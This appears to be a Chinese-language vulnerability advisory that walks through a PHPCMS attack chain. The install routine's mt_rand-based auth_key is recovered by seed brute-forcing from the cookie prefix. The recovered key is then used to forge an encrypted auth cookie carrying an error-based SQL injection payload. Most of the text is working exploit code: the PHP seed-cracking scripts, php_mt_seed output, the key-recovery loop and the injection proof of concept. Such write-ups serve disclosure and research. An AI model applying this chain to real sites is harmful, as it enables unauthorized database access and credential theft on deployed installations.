php获得auth_key漏洞,PHPCMS authkey泄露导致注入

发布时间：2017-04-28

公开时间：N/A

漏洞类型：sql注入

危害等级：高

漏洞编号：xianzhi-2017-04-93356191

测试版本：N/A

漏洞详情

install/install.php 184行

if($module == 'admin') {

$cookiepre = random(5, 'abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ').'';

$authkey = random(20, '1294567890abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ');

安装过程中初始化的2个随机值 一个是cookie前缀 一个是牛逼的auth_key

来看看random函数

function random($length, $chars = '0123456789') {

$hash = '';

$max = strlen($chars) - 1;

for($i = 0; $i < $length; $i++) {

$hash .= $chars[mt_rand(0, $max)];

}

return $hash;

}

可以看到使用mt_rand来生成随机数

mt_rand有个坑 研究过的人不少 就是随机数种子不是很强可以被爆破，而且php在一次访问中只会自动播种一次种子。看上面，在这一次访问中 共调用了5+20次mt_rand 而且前5次的值可知(cookie前缀)，足够我们计算出随机数种子从而自己计算auth_key的值

利用过程

首先注册个账号 记录cookie值 比如我这里

oitzp__userid:4426Os84BFz69iT0YQjGWpPEtQp4niK3SXOJLwKA

oitzp就是cookie_pre

先用个小脚本生成参数

$s = 'oitzp';

$str = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ';

echo crack($s,$str);

function crack($s,$str){

for($i=0;$i

echo strpos($str,$s[$i])." ".strpos($str,$s[$i])." 0 51 ";

}

}

得到

14 14 0 51 8 8 0 51 19 19 0 51 25 25 0 51 15 15 0 51

开始爆破

./php_mt_seed 14 14 0 51 8 8 0 51 19 19 0 51 25 25 0 51 15 15 0 51

大概几分钟后得到结果

Pattern: EXACT-FROM-52 EXACT-FROM-52 EXACT-FROM-52 EXACT-FROM-52 EXACT-FROM-52

Found 0, trying 33554432 - 67108863, speed 25228896 seeds per second

seed = 62227301

Found 1, trying 369098752 - 402653183, speed 26383041 seeds per second

seed = 392301305

seed = 393361608

Found 3, trying 738197504 - 771751935, speed 25992869 seeds per second

seed = 762840031

Found 4, trying 872415232 - 905969663, speed 25995686 seeds per second

seed = 903576050

Found 5, trying 1610612736 - 1644167167, speed 26116632 seeds per second

seed = 1625886859

Found 6, trying 1677721600 - 1711276031, speed 26120529 seeds per second

seed = 1708791794

Found 7, trying 1845493760 - 1879048191, speed 26121638 seeds per second

seed = 1850496645

Found 8, trying 2315255808 - 2348810239, speed 26072700 seeds per second

seed = 2327183983

Found 9, trying 2449473536 - 2483027967, speed 26049915 seeds per second

seed = 2453737360

Found 10, trying 2818572288 - 2852126719, speed 26083400 seeds per second

seed = 2821134341

Found 11, trying 3187671040 - 3221225471, speed 26049448 seeds per second

seed = 3195112468

Found 12, trying 3321888768 - 3355443199, speed 26056073 seeds per second

seed = 3355185931

Found 13, trying 3355443200 - 3388997631, speed 26029347 seeds per second

seed = 3370877999

Found 14, trying 3623878656 - 3657433087, speed 25983212 seeds per second

seed = 3635705652

Found 15, trying 3959422976 - 3992977407, speed 25973648 seeds per second

seed = 3976924131

Found 16, trying 4060086272 - 4093640703, speed 25997863 seeds per second

seed = 4070165693

Found 17, trying 4261412864 - 4294967295, speed 26030253 seeds per second

Found 17

总共有17个可能的随机数种子 收集一下丢给下一个脚本

$seeds = array(62227301,392301305,393361608,762840031,903576050,1625886859,1708791794,1850496645,2327183983,2453737360,2821134341,3195112468,3355185931,3370877999,3635705652,3976924131,4070165693);

for($i=0;$i<17;$i++){

mt_srand($seeds[$i]);

$cookie_pre = random(5, 'abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ').'';

$auth_key = random(20, '1294567890abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ');

if (authcode("4426Os84BFz69iT0YQjGWpPEtQp4niK3SXOJLwKA","DECODE",$auth_key) == "1"){

//上面的1是注册的uid

//可以从index.php?m=member&c=index&a=account_manage_info&t=1拿到

echo $seeds[$i]."\n".$auth_key;

}

}

得到结果：

3370877999

fkedKUovc9hFpKvX0hcH

就这么分分钟拿到可auth_key

简单演示下注入

phpcms/modules/member/class/foreground.class.php 19行

final public function check_member() {

$phpcms_auth = param::get_cookie('auth');

if(ROUTE_M =='member' && ROUTE_C =='index' && in_array(ROUTE_A, array('login', 'register', 'mini','send_newmail'))) {

if ($phpcms_auth && ROUTE_A != 'mini') {

showmessage(L('login_success', '', 'member'), 'index.php?m=member&c=index');

} else {

return true;

}

} else {

//判断是否存在auth cookie

if ($phpcms_auth) {

$auth_key = $auth_key = get_auth_key('login');

list($userid, $password) = explode("\t", sys_auth($phpcms_auth, 'DECODE', $auth_key));

//验证用户，获取用户信息

$this->memberinfo = $this->db->get_one(array('userid'=>$userid));

$userid来自cookie且经过2次sys_auth加密 无视防御

poc:

$str = "1' and (extractvalue(1,concat(0x7e,(select user()),0x7e)));#\tasdf";

$en1 = authcode($str,"ENCODE",get_auth_key("login"));

$en2 = authcode($en1,"ENCODE",'fkedKUovc9hFpKvX0hcH');//刚才拿到的auth_key

echo urlencode($en2);

function get_auth_key($prefix,$suffix="") {

if($prefix=='login'){

$pc_auth_key = md5('fkedKUovc9hFpKvX0hcH'.'192.168.199.171');//本机IP

}else if($prefix=='email'){

$pc_auth_key = md5('fkedKUovc9hFpKvX0hcH');

}else{

$pc_auth_key = md5('fkedKUovc9hFpKvX0hcH'.$suffix);

}

$authkey = md5($prefix.$pc_auth_key);

return $authkey;

}

修改cookie oitzp_auth值为生成的payload

访问/index.php?m=member即可看到报错信息

view.png